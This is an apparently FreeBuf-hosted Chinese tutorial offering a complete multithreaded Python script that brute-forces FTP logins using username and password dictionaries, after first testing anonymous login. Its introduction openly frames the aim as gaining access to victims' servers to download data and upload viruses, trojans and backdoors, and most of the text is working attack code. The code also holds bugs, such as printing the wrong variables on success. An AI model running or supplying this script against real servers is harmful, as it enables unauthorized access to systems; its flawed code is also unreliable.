基于Python:多线程FTP服务器爆破脚本
安全大头兵
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
基于Python:多线程FTP服务器爆破脚本
一、FTP的爆破意义
FTP服务器的作用是帮助用户实现信息共享,简单点来说呢,就是用户可以通过FTP协议,直接往服务器上传资源和从服务器下载资源。如果我们得到了FTP服务器的账号和密码,那么我们就能随心所欲地从受害者的服务器上面下载各种各样的资源,以及上传各种各样的病毒、木马和后门。
二、需要掌握的知识点
1、熟悉ftp协议
2、熟悉ftplib、threading、optparse、queue模块的使用
三、编写思路
1、编写匿名登录函数
测试是否可以匿名登录FTP服务器:
def checkanonymous(ip): try: f = ftplib.FTP() print("开始检查是否允许匿名用户登录!") f.connect(ip, 21) f.login() # 匿名登录时,不需要带参数 print("匿名登录成功!") f.close() sys.exit(0) except ftplib.all_errors: print("匿名登录失败!") print("开始尝试暴力破解登录!") pass
2、编写破解函数
匿名登录的成功率还是非常低的,所以我们要编写真正的破解函数:
def FTPbrute(ip, q): while not q.empty(): str = q.get() username_passwd = str.split("|") ftp_username = username_passwd[0] ftp_passwd = username_passwd[1] f = ftplib.FTP() try: f.connect(ip, 21) f.login(ftp_username, ftp_passwd) print("成功!>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>用户名为:{} 密码为:{}".format(username, passwd)) # 若破解成功,则把用户名和密码保存在“ftp用户名和密码.txt”文件中 with open("ftp用户名和密码.txt", "w") as f: f.write("用户名:" + ftp_username + " " + "密码:" + ftp_passwd) f.close() sys.exit(0) except ftplib.all_errors: print("{}/{}不正确!".format(ftp_username, ftp_passwd)) f.close() pass
在这里有一个地方需要我们注意的,如果login()方法登录失败,程序会抛出异常,所以我们需要使用try...except来捕捉异常。另外,我们希望在异常被抛出时,程序能够继续往下破解,所以我们需要在except语句体中添加语句pass。
3、编写命令行
利用optparse模块编写命令行:
parser = OptionParser(usage="使用方法:%prog -p 'ip地址' -t '线程数' -u '用户名字典' -f '密码字典'", version="%prog 1.0", description="多线程FTP爆破脚本") parser.add_option("-p", "--IP", action="store", dest="ip", help="目标ip") parser.add_option("-t", "--thread", action="store", dest="thread_nums", type="int", help="扫描时的线程数") parser.add_option("-f", "--passFile", action="store", dest="passFile", help="爆破时所需要的密码字典文件") parser.add_option("-u", "--userFile", action="store", dest="userFile", help="爆破时所需要的用户名字典文件") (options, args) = parser.parse_args() thread_nums = options.thread_nums ip = options.ip passFile = options.passFile userFile = options.userFile
4、多线程编写
利用queue模块来辅助多线程的编写:
# 初始化队列 q = queue.Queue(maxsize=0) checkanonymous(ip) username = open(userFile, "r", encoding="utf-8") passwd = open(passFile, "r", encoding="utf-8") list_useranme = [] list_passwd = [] for u in username: list_useranme.append(u.replace("\n", "")) for p in passwd: list_passwd.append(p.replace("\n", "")) for u in list_useranme: for p in list_passwd: q.put(u + "|" + p) username.close() passwd.close() for nums in range(int(thread_nums)): t = threading.Thread(target=FTPbrute, args=(ip, q)) t.start()
四、运行结果
1、查看脚本的使用方法
2、开始爆破
3、爆破成功
五、完整源代码
现在附上完整源码:
import ftplib import threading from optparse import OptionParser import queue import sys # 编写匿名登录函数 def checkanonymous(ip): try: f = ftplib.FTP() print("开始检查是否允许匿名用户登录!") f.connect(ip, 21) f.login() # 匿名登录时,不需要带参数 print("匿名登录成功!") f.close() sys.exit(0) except ftplib.all_errors: print("匿名登录失败!") print("开始尝试暴力破解登录!") pass def FTPbrute(ip, q): while not q.empty(): str = q.get() username_passwd = str.split("|") ftp_username = username_passwd[0] ftp_passwd = username_passwd[1] f = ftplib.FTP() try: f.connect(ip, 21) f.login(ftp_username, ftp_passwd) print("成功!>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>用户名为:{} 密码为:{}".format(username, passwd)) # 若破解成功,则把用户名和密码保存在“ftp用户名和密码.txt”文件中 with open("ftp用户名和密码.txt", "w") as f: f.write("用户名:" + ftp_username + " " + "密码:" + ftp_passwd) f.close() sys.exit(0) except ftplib.all_errors: print("{}/{}不正确!".format(ftp_username, ftp_passwd)) f.close() pass if __name__ == '__main__': parser = OptionParser(usage="使用方法:%prog -p 'ip地址' -t '线程数' -u '用户名字典' -f '密码字典'", version="%prog 1.0", description="多线程FTP爆破脚本") parser.add_option("-p", "--IP", action="store", dest="ip", help="目标ip") parser.add_option("-t", "--thread", action="store", dest="thread_nums", type="int", help="扫描时的线程数") parser.add_option("-f", "--passFile", action="store", dest="passFile", help="爆破时所需要的密码字典文件") parser.add_option("-u", "--userFile", action="store", dest="userFile", help="爆破时所需要的用户名字典文件") (options, args) = parser.parse_args() thread_nums = options.thread_nums ip = options.ip passFile = options.passFile userFile = options.userFile # 初始化队列 q = queue.Queue(maxsize=0) checkanonymous(ip) username = open(userFile, "r", encoding="utf-8") passwd = open(passFile, "r", encoding="utf-8") list_useranme = [] list_passwd = [] for u in username: list_useranme.append(u.replace("\n", "")) for p in passwd: list_passwd.append(p.replace("\n", "")) for u in list_useranme: for p in list_passwd: q.put(u + "|" + p) username.close() passwd.close() for nums in range(int(thread_nums)): t = threading.Thread(target=FTPbrute, args=(ip, q)) t.start()
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 安全大头兵 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏

相关推荐
QingLong framework:内网渗透模块之小工具模块
2023-08-13
QingLong framework:内网渗透模块之后门生成监听使用删除
2023-08-11
QingLong framework:恶意攻击模块之邮件钓鱼和邮箱轰炸
2023-08-11
文章目录